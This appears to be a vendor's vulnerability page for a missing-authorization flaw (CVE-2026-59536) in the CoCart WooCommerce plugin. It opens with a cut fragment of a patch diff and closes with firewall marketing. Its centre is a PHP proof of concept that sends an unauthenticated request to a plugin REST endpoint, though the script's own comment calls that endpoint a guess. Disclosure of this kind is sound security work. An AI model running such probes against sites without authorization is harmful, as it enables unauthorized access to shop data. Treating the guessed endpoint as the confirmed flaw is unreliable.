+			'cors'     => $this->get_cors_fields(),
+			'auth'     => $this->get_auth_fields(),
+			'session'  => $this->get_session_fields(),
+			'features' => $this->get_features_fields(),
+		);
+
+		/**
+		 * Filter: cocart_settings_fields
+		 *
+		 * Add-ons use this filter to register fields in any section (including their own).
+		 *
+		 * @since 4.9.0 Introduced.
+		 *
+		 * @param array<string, array<string, array<string, mixed>>> $fields Keyed by section ID, then field ID.
+		 */
+		return apply_filters( 'cocart_settings_fields', $fields );
+	} // END get_fields()
+
+	/**
+	 * Returns the default values for all registered fields, keyed by section then field ID.
+	 *
+	 * Used to popu

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-59536 - CoCart – Headless REST API for WooCommerce <= 4.8.4 - Missing Authorization

/**
 * Proof of Concept for CVE-2026-59536.
 * This script demonstrates an unauthenticated request to a CoCart REST API endpoint.
 */

// Configuration
$target_url = 'https://example.com'; // Change to the target WordPress site URL

// CoCart REST API endpoint to target (example, replace with actual vulnerable endpoint if known)
$endpoint = '/wp-json/cocart/v1/session';

// Initialize cURL session
$ch = curl_init();

// Set cURL options for making a GET request without authentication
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
));

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "HTTP Status Code: " . $http_code . "n";
    echo "Response Body: " . $response . "n";
    
    // Simple check to see if we got an unexpected response (indicating potential unauthorized action)
    if ($http_code == 200) {
        echo "[+] The request was processed without authentication. This may indicate the vulnerability is present.n";
    } else {
        echo "[-] The request was denied. The site may be patched.n";
    }
}

// Close cURL session
curl_close($ch);

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.